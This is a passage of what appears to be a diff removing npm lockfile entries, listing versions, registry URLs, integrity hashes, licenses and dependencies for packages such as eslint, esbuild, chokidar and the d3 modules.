"sha512-Sg0xJUNDU1sJNGdfGWhVHX0kkZ+HWcvmVymJbj6NSgZZmW/8S9Y2HQ5euytnIgakgxN6papOAWiwDo1ctFDcoQ==", - "dev": true, - "license": "Apache-2.0", - "bin": { - "baseline-browser-mapping": "dist/cli.js" - } - }, - "node_modules/binary-extensions": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz", - "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==", - "license": "MIT", - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/brace-expansion": { - "version": "1.1.12", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", - "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", - "dev": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^1.0.0", - "concat-map": "0.0.1" - } - }, - "node_modules/braces": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", - "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", - "license": "MIT", - "dependencies": { - "fill-range": "^7.1.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/browserslist": { - "version": "4.28.1", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.1.tgz", - "integrity": "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/browserslist" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/browserslist" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "baseline-browser-mapping": "^2.9.0", - "caniuse-lite": "^1.0.30001759", - "electron-to-chromium": "^1.5.263", - "node-releases": "^2.0.27", - "update-browserslist-db": "^1.2.0" - }, - "bin": { - "browserslist": "cli.js" - }, - "engines": { - "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" - } - }, - "node_modules/callsites": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", - "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/camelcase-css": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz", - "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==", - "license": "MIT", - "engines": { - "node": ">= 6" - } - }, - "node_modules/caniuse-lite": { - "version": "1.0.30001761", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001761.tgz", - "integrity": "sha512-JF9ptu1vP2coz98+5051jZ4PwQgd2ni8A+gYSN7EA7dPKIMf0pDlSUxhdmVOaV3/fYK5uWBkgSXJaRLr4+3A6g==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/browserslist" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/caniuse-lite" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "CC-BY-4.0" - }, - "node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" - } - }, - "node_modules/chokidar": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz", - "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==", - "license": "MIT", - "dependencies": { - "anymatch": "~3.1.2", - "braces": "~3.0.2", - "glob-parent": "~5.1.2", - "is-binary-path": "~2.1.0", - "is-glob": "~4.0.1", - "normalize-path": "~3.0.0", - "readdirp": "~3.6.0" - }, - "engines": { - "node": ">= 8.10.0" - }, - "funding": { - "url": "https://paulmillr.com/funding/" - }, - "optionalDependencies": { - "fsevents": "~2.3.2" - } - }, - "node_modules/chokidar/node_modules/glob-parent": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", - "license": "ISC", - "dependencies": { - "is-glob": "^4.0.1" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/class-variance-authority": { - "version": "0.7.1", - "resolved": "https://registry.npmjs.org/class-variance-authority/-/class-variance-authority-0.7.1.tgz", - "integrity": "sha512-Ka+9Trutv7G8M6WT6SeiRWz792K5qEqIGEGzXKhAE6xOWAY6pPH8U+9IY3oCMv6kqTmLsv7Xh/2w2RigkePMsg==", - "license": "Apache-2.0", - "dependencies": { - "clsx": "^2.1.1" - }, - "funding": { - "url": "https://polar.sh/cva" - } - }, - "node_modules/clsx": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.1.1.tgz", - "integrity": "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==", - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "color-name": "~1.1.4" - }, - "engines": { - "node": ">=7.0.0" - } - }, - "node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true, - "license": "MIT" - }, - "node_modules/commander": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", - "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", - "license": "MIT", - "engines": { - "node": ">= 6" - } - }, - "node_modules/concat-map": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", - "dev": true, - "license": "MIT" - }, - "node_modules/convert-source-map": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", - "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", - "dev": true, - "license": "MIT" - }, - "node_modules/cookie": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz", - "integrity": "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/cross-spawn": { - "version": "7.0.6", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", - "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", - "dev": true, - "license": "MIT", - "dependencies": { - "path-key": "^3.1.0", - "shebang-command": "^2.0.0", - "which": "^2.0.1" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/cssesc": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", - "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", - "license": "MIT", - "bin": { - "cssesc": "bin/cssesc" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/csstype": { - "version": "3.2.3", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", - "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/d3-array": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.4.tgz", - "integrity": "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==", - "license": "ISC", - "dependencies": { - "internmap": "1 - 2" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-color": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz", - "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==", - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-ease": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-3.0.1.tgz", - "integrity": "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==", - "license": "BSD-3-Clause", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-format": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.0.tgz", - "integrity": "sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==", - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-interpolate": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz", - "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==", - "license": "ISC", - "dependencies": { - "d3-color": "1 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-path": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-3.1.0.tgz", - "integrity": "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==", - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-scale": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-4.0.2.tgz", - "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==", - "license": "ISC", - "dependencies": { - "d3-array": "2.10.0 - 3", - "d3-format": "1 - 3", - "d3-interpolate": "1.2.0 - 3", - "d3-time": "2.1.1 - 3", - "d3-time-format": "2 - 4" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-shape": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-3.2.0.tgz", - "integrity": "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==", - "license": "ISC", - "dependencies": { - "d3-path": "^3.1.0" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-time": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-3.1.0.tgz", - "integrity": "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==", - "license": "ISC", - "dependencies": { - "d3-array": "2 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-time-format": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-4.1.0.tgz", - "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==", - "license": "ISC", - "dependencies": { - "d3-time": "1 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-timer": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-3.0.1.tgz", - "integrity": "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==", - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/debug": { - "version": "4.4.3", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", - "dev": true, - "license": "MIT", - "dependencies": { - "ms": "^2.1.3" - }, - "engines": { - "node": ">=6.0" - }, - "peerDependenciesMeta": { - "supports-color": { - "optional": true - } - } - }, - "node_modules/decimal.js-light": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/decimal.js-light/-/decimal.js-light-2.5.1.tgz", - "integrity": "sha512-qIMFpTMZmny+MMIitAB6D7iVPEorVw6YQRWkvarTkT4tBeSLLiHzcwj6q0MmYSFCiVpiqPJTJEYIrpcPzVEIvg==", - "license": "MIT" - }, - "node_modules/deep-is": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", - "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/detect-node-es": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/detect-node-es/-/detect-node-es-1.1.0.tgz", - "integrity": "sha512-ypdmJU/TbBby2Dxibuv7ZLW3Bs1QEmM7nHjEANfohJLvE0XVujisn1qPJcZxg+qDucsr+bP6fLD1rPS3AhJ7EQ==", - "license": "MIT" - }, - "node_modules/didyoumean": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz", - "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==", - "license": "Apache-2.0" - }, - "node_modules/dlv": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz", - "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==", - "license": "MIT" - }, - "node_modules/electron-to-chromium": { - "version": "1.5.267", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.267.tgz", - "integrity": "sha512-0Drusm6MVRXSOJpGbaSVgcQsuB4hEkMpHXaVstcPmhu5LIedxs1xNK/nIxmQIU/RPC0+1/o0AVZfBTkTNJOdUw==", - "dev": true, - "license": "ISC" - }, - "node_modules/es-toolkit": { - "version": "1.43.0", - "resolved": "https://registry.npmjs.org/es-toolkit/-/es-toolkit-1.43.0.tgz", - "integrity": "sha512-SKCT8AsWvYzBBuUqMk4NPwFlSdqLpJwmy6AP322ERn8W2YLIB6JBXnwMI2Qsh2gfphT3q7EKAxKb23cvFHFwKA==", - "license": "MIT", - "workspaces": [ - "docs", - "benchmarks" - ] - }, - "node_modules/esbuild": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.2.tgz", - "integrity": "sha512-HyNQImnsOC7X9PMNaCIeAm4ISCQXs5a5YasTXVliKv4uuBo1dKrG0A+uQS8M5eXjVMnLg3WgXaKvprHlFJQffw==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "bin": { - "esbuild": "bin/esbuild" - }, - "engines": { - "node": ">=18" - }, - "optionalDependencies": { - "@esbuild/aix-ppc64": "0.27.2", - "@esbuild/android-arm": "0.27.2", - "@esbuild/android-arm64": "0.27.2", - "@esbuild/android-x64": "0.27.2", - "@esbuild/darwin-arm64": "0.27.2", - "@esbuild/darwin-x64": "0.27.2", - "@esbuild/freebsd-arm64": "0.27.2", - "@esbuild/freebsd-x64": "0.27.2", - "@esbuild/linux-arm": "0.27.2", - "@esbuild/linux-arm64": "0.27.2", - "@esbuild/linux-ia32": "0.27.2", - "@esbuild/linux-loong64": "0.27.2", - "@esbuild/linux-mips64el": "0.27.2", - "@esbuild/linux-ppc64": "0.27.2", - "@esbuild/linux-riscv64": "0.27.2", - "@esbuild/linux-s390x": "0.27.2", - "@esbuild/linux-x64": "0.27.2", - "@esbuild/netbsd-arm64": "0.27.2", - "@esbuild/netbsd-x64": "0.27.2", - "@esbuild/openbsd-arm64": "0.27.2", - "@esbuild/openbsd-x64": "0.27.2", - "@esbuild/openharmony-arm64": "0.27.2", - "@esbuild/sunos-x64": "0.27.2", - "@esbuild/win32-arm64": "0.27.2", - "@esbuild/win32-ia32": "0.27.2", - "@esbuild/win32-x64": "0.27.2" - } - }, - "node_modules/escalade": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", - "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/escape-string-regexp": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", - "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/eslint": { - "version": "9.39.2", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.2.tgz", - "integrity": "sha512-LEyamqS7W5HB3ujJyvi0HQK/dtVINZvd5mAAp9eT5S/ujByGjiZLCzPcHVzuXbpJDJF/cxwHlfceVUDZ2lnSTw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@eslint-community/eslint-utils": "^4.8.0", - "@eslint-community/regexpp": "^4.12.1", - "@eslint/config-array": "^0.21.1", - "@eslint/config-helpers": "^0.4.2", - "@eslint/core": "^0.17.0", - "@eslint/eslintrc": "^3.3.1", - "@eslint/js": "9.39.2", - "@eslint/plugin-kit": "^0.4.1", - "@humanfs/node": "^0.16.6", - "@humanwhocodes/module-importer": "^1.0.1", - "@humanwhocodes/retry": "^0.4.2", - "@types/estree": "^1.0.6", - "ajv": "^6.12.4", - "chalk": "^4.0.0", - "cross-spawn": "^7.0.6", - "debug": "^4.3.2", - "escape-string-regexp": "^4.0.0", - "eslint-scope": "^8.4.0", - "eslint-visitor-keys": "^4.2.1", - "espree": "^10.4.0", - "esquery": "^1.5.0", - "esutils": "^2.0.2", - "fast-deep-equal": "^3.1.3", - "file-entry-cache": "^8.0.0", - "find-up": "^5.0.0", - "glob-parent": "^6.0.2", - "ignore": "^5.2.0", - "imurmurhash": "^0.1.4", - "is-glob": "^4.0.0", - "json-stable-stringify-without-jsonify": "^1.0.1", - "lodash.merge": "^4.6.2", - "minimatch": "^3.1.2", - "natural-compare": "^1.4.0", - "optionator": "^0.9.3" - }, - "bin": { - "eslint": "bin/eslint.js" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://eslint.org/donate" - }, - "peerDependencies": { - "jiti": "*" - }, - "peerDependenciesMeta": { - "jiti": { - "optional": true - } - } - }, - "node_modules/eslint-plugin-react-hooks": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-7.0.1.tgz", - "integrity": "sha512-O0d0m04evaNzEPoSW+59Mezf8Qt0InfgGIBJnpC0h3NH/WjUAR7BIKUfysC6todmtiZ/A0oUVS8Gce0WhBrHsA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/core": "^7.24.4", - "@babel/parser": "^7.24.4", - "hermes-parser": "^0.25.1", - "zod": "^3.25.0 || ^4.0.0", - "zod-validation-error": "^3.5.0 || ^4.0.0" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0" - } - }, - "node_modules/eslint-plugin-react-refresh": { - "version": "0.4.26", - "resolved": "https://registry.npmjs.org/eslint-plugin-react-refresh/-/eslint-plugin-react-refresh-0.4.26.tgz", - "integrity": "sha512-1RETEylht2O6FM/MvgnyvT+8K21wLqDNg4qD51Zj3guhjt433XbnnkVttHMyaVyAFD03QSV4LPS5iE3VQmO7XQ==", - "dev": true, - "license": "MIT", - "peerDependencies": { - "eslint": ">=8.40" - } - }, - "node_modules/eslint-scope": { - "version": "8.4.0", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-8.4.0.tgz", - "integrity": "sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "esrecurse": "^4.3.0", - "estraverse": "^5.2.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/eslint-visitor-keys": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", - "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/espree": { - "version": "10.4.0", - "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", - "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "acorn": "^8.15.0", - "acorn-jsx": "^5.3.2", - "eslint-visitor-keys": "^4.2.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/esquery": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.6.0.tgz", - "integrity": "sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==", - "dev": true, - "license": "BSD-3-Clause", - "dependencies": { - "estraverse": "^5.1.0" - }, - "engines": { - "node": ">=0.10" - } - }, - "node_modules/esrecurse": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", - "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "estraverse": "^5.2.0" - }, - "engines": { - "node": ">=4.0" - } - }, - "node_modules/estraverse": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", - "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=4.0" - } - }, - "node_modules/esutils": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", - "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/eventemitter3": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.1.tgz", - "integrity": "sha512-GWkBvjiSZK87ELrYOSESUYeVIc9mvLLf/nXalMOS5dYrgZq9o5OVkbZAVM06CVxYsCwH9BDZFPlQTlPA1j4ahA==", - "license": "MIT" - }, - "node_modules/fast-deep-equal": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", - "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", - "dev": true, - "license": "MIT" - }, - "node_modules/fast-glob": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", - "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", - "license": "MIT", - "dependencies": { - "@nodelib/fs.stat": "^2.0.2", - "@nodelib/fs.walk": "^1.2.3", - "glob-parent": "^5.1.2", - "merge2": "^1.3.0", - "micromatch": "^4.0.8" - }, - "engines": { - "node": ">=8.6.0" - } - }, - "node_modules/fast-glob/node_modules/glob-parent": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", - "license": "ISC", - "dependencies": { - "is-glob": "^4.0.1" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/fast-json-stable-stringify": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", - "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", - "dev": true, - "license": "MIT" - }, - "node_modules/fast-levenshtein": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", - "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", - "dev": true, - "license": "MIT" - }, - "node_modules/fastq": { - "version": "1.19.1", - "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.19.1.tgz", - "integrity": 